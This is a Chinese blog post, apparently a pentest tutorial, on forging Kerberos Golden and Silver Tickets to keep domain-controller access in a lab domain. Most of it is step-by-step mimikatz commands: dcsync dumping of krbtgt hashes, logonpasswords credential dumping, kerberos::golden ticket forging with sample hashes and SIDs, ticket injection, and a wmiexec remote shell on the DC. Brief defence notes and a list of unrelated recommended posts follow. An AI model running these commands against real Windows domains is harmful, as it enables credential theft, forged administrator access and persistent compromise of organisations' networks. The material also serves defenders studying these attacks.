内网安全之:黄金&白银票据传递域控制器权限维持

1 Golden Ticket

  • Kerberos的黄金票据详解 - 渗透测试中心 - 博客园 (cnblogs.com)

  • 域环境中存在SID为502的域账号krbtgt,其是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的 NTLM Hash或者 AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

  • 使用域的 Golden Ticket(黄金票据)进行票据传递时需要有以下条件:

    • 需要伪造的域管理员用户名。
    • 完整的域名。
    • 域SID。
    • krbtgt 的 NTLM Hash或AES-256值。

1.1 导出 krbtgt 的 NTLM Hash

# 在域控制器上使用mimikatz的 dcsync 功能远程转储活动目录中的 ntds.dit。指定/user只导出 krbtgt 账号的信息。
lsadump::dcsync /domain:test.lab /user:krbtgt
Hash NTLM: fa02a0e57e5ba9189d00990ae64e87ce
aes256_hmac: c93e94f96b1be279a3420f12615048780b92a8ce834c391fad6cdf6326690b22

1.2 获取基本信息

# 1.获取域 SID
wmic useraccount get name,sid # 2.获取当前用户的SID
whoami /user
test\tester01 S-1-5-21-1207377116-2664972910-881425611-1104 # 3.查询域管理员账号
net group "domain admins" /domain # 4.查询域名
ipconfig /all

1.3 Kerberos 的黄金票操作过程

# 1.获取目标主机权限后,查看当前用户及其所属组
net user tester /domain # 2.注入票据前权限测试,此时显示拒绝访问
dir \\dc\c$ # 3. 清空票据
kerberos::purge # 4.利用 krbtgt 的 NTLM 生成包含 krbtgt 身份的票据
kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /krbtgt:fa02a0e57e5ba9189d00990ae64e87ce /ticket:Administrator.kiribi
# 4.利用 krbtgt 的 AES-256 值生成包含 krbtgt 身份的票据
kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /aes256:c93e94f96b1be279a3420f12615048780b92a8ce834c391fad6cdf6326690b22 /ticket:Administrator.kiribi # 5.传递票据并注入内存
kerberos::ptt Administrator.kiribi # 6.查看当前会话中的票据
kerberos::tgt # 7.验证权限
cscript "wmiexec v1.1.vbs" /shell dc

1.4 防御

使用Golden Ticket 伪造的用户可以是任意用户(即使这个用户不存在)。因为 TGT的加密是由krbtgt完成的,所以,只要 TGT被krbtgt账户和密码正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有在如下两种情况下才能修改krbtgt密码。

  • 域功能级别从 Win2000或 Win2003提升至Win2008或Win 2012。在提升域功能的过程中,krbtgt 的密码会被自动修改。
  • 进行安全检查和相关服务加固时修改 krbtgt 的密码。

2 Silver Ticket

Kerberos的白银票据详解 (bbsmax.com)

Silver Ticket 与 Golden Ticket 的区别:

  • Silver Ticket(白银票据) 的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志,而 Golden Ticket 在利用过程中需要由 KDC 颁发 TGT,并且在生成伪造的 TGT 的 20分钟内,TGS 不会对该 TGT 的真伪进行校验。
  • Silver Ticket 依赖于服务账号的密码散列值,这不同于 Golden Ticket 利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。
  • Silver Ticket 会通过相应的服务账号来伪造 TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS 等,范围有限,只能获取对应服务权限。而 Golden Ticket 使用 krbtgt 账号密码的哈希值,利用伪造高权限的 TGT 向 KDC 要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。
  • Silver Ticket 是由特定服务账号加密的,Golden Ticket 是由 krbtgt 账号加密的。

2.1 Silver Ticket 的操作过程

2.1.1 使用 Silver Ticket 伪造 CIFS 服务权限

# 1.在域成员主机上进行伪造前权限测试,此时显示拒绝访问
dir \\dc\c$ # 2.在域控制器中,获取服务账号的 NTLM Hash
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"
SID: S-1-5-21-1207377116-2664972910-881425611
NTLM: 0ab1159a13e96c208ff9400b6bbaef31 # 3.在域成员机器上利用 mimikatz 生成伪造的 Silver Ticket 票据
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
kerberos::golden /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /target:dc.test.lab /rc4:0ab1159a13e96c208ff9400b6bbaef31 /service:cifs /user:tester01 /ptt

2.1.2 使用 Silver Ticket 伪造 LDAP服务权限

# 1.查看当前权限是否可以使用 dcsync 与控制器进行同步: 使用 dcsync 从域控制器中获取指定用户的账号和密码哈希值,例如 krbtgt。向域控制器获取 krbtgt 的密码哈希值失败,说明当前权限不能进行 dcsync 操作。
# 命令格式
lsadump::dcsync /dc:域DC /domain:域名 /user:域用户名
# 示例
lsadump::dcsync /dc:dc.test.lab /domain:test.lab /user:krbtgt # 2.在域控制器中,获取服务账号的 NTLM Hash
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"
SID: S-1-5-21-1207377116-2664972910-881425611
NTLM: 0ab1159a13e96c208ff9400b6bbaef31 # 3.为了防止其他票据对实验进行干扰,先清除内存中的票据:
klist purge # 4.在域成员机器上利用 mimikatz 生成伪造的 Silver Ticket 票据
# 命令格式
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
# 示例
kerberos::golden /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /target:dc.test.lab /rc4:0ab1159a13e96c208ff9400b6bbaef31 /service:ldap /user:tester01 /ptt

2.2 Silver Ticket 可以用于伪造的服务

2.3 Silver Ticket 防御

  • 在内网中安装杀毒软件,及时更新系统补丁。
  • 使用组策略在域中进行相应的配置,限制mimikatz在网络中的使用
  • 计算机的账号和密码默认每30天更改次。 检查该设置是否生效

内网安全之:黄金&白银票据传递域控制器权限维持的更多相关文章

  1. 【内网渗透笔记】Windows2008 R2搭建域控制器

    0x00 前言 将网络中的多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域(domain).域是日常计算机管理的一种很有效手段,因此,域控制器自然而然就在成域环境中最重要的角 ...

  2. [内网渗透]HASH获取与HASH传递

    0x01 PTH简介 PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是在目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的, ...

  3. 内网渗透-smb&wmi明文&hash传递

    首先我们要知道,在windows2012以上版本默认会关闭wdigest,那么攻击者就无法从内存中获取明文密码了 windows2012以下的版本如果安装了KB2871997补丁,那么同样也会导致无法 ...

  4. 5.内网渗透之PTH&PTT&PTK

    ---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...

  5. 票据传递攻击(Pass the Ticket,PtT)

    目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...

  6. WinServer 之 内网发布网站后端口映射外网访问

    内网IP只能在内网局域网访问连接,在外网是不能认识内网IP不能访问的.如有路由权限,且路由有固定公网IP,可以通过路由的端口映射,实现外网访问内网.如无路由,或路由无公网IP,需要用到第三方开放的花生 ...

  7. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

  8. Vulnstack内网靶场2

    环境配置 内网2靶场由三台机器构成:WIN7.2008 server.2012 server 其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控 网络适配器已经设置好了不用自 ...

  9. 内网hash传递

    前言: 我们在平常打点的时候,遇到有内网或者有域的环境的时候,我们只获得了内网中的一台机子的shell,由这台机子我们可以获得这台机子所在的网段的相关其他主机.比如说有域的时候的域控机,有多层内网的堡 ...

  10. 内网渗透-windows认证

    前言:全国HW刚结束,加强一波内网概念,去年11月红队成绩并不理想,这次必拿下好成绩.冲!!! 0x00 本地认证 本地认证基础知识 在本地登录Windows的情况下,操作系统会使用用户输入的密码作为 ...

随机推荐

  1. vite安装使用流程

    安装vite 使用npm npm create vite@latest 使用yarn yarn create vite 使用pnpm pnpm create vite 还有一些选择配置比如使用那种框架 ...

  2. CSP-S 游寄

    \(\text{reflection}\) 初赛. 本来以为上午要愉快地周测,但是伟大的虎哥让我们在四楼接着练习 然后就目睹了一个万能头+return 0编译 1min30sec 的奇迹 Win7 打 ...

  3. [百度营]AI studio用法提醒(自用)

    持久化安装 需要设置持久化路径: !mkdir /home/aistudio/external-libraries !pip install beautifulsoup4 -t /home/aistu ...

  4. ArcObjects SDK开发 016 在ArcMap中使用Toolbox

    1.如何找到ToolBox 通过Geoprocessing菜单上的ArcToolbox菜单项,可以打开ArcToolbox面板. 工具栏上也有一个ArcToolbox的按钮,点击该按钮也可以打开. 通 ...

  5. python 之excel文件读取封装

    import os import xlrd PATH = lambda p: os.path.abspath( os.path.join(os.path.dirname(__file__), p) ) ...

  6. 数位排序【第十三届蓝桥杯省赛C++C组】

    数位排序 小蓝对一个数的数位之和很感兴趣,今天他要按照数位之和给数排序. 当两个数各个数位之和不同时,将数位和较小的排在前面,当数位之和相等时,将数值小的排在前面. 例如,\(2022\) 排在 \( ...

  7. [WPF]程序随系统自启动

    代码 Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\ ...

  8. centos搭建neo4j环境(含java)2021_12

    限centos neo4j与java下载: 链接:https://pan.baidu.com/s/1ei15dROGy3OwJfbislxH7g 提取码:8B3A   下载后 1.在linux中建立文 ...

  9. 从 GPT2 到 Stable Diffusion:Elixir 社区迎来了 Hugging Face

    上周,Elixir 社区向大家宣布,Elixir 语言社区新增从 GPT2 到 Stable Diffusion 的一系列神经网络模型.这些模型得以实现归功于刚刚发布的 Bumblebee 库.Bum ...

  10. SEO关键词布局方法

    关键词在<title>标签. description属性. keywords属性中是如何布局的. 1.<title>标签中布局关键词 <title>标签是用来定义网 ...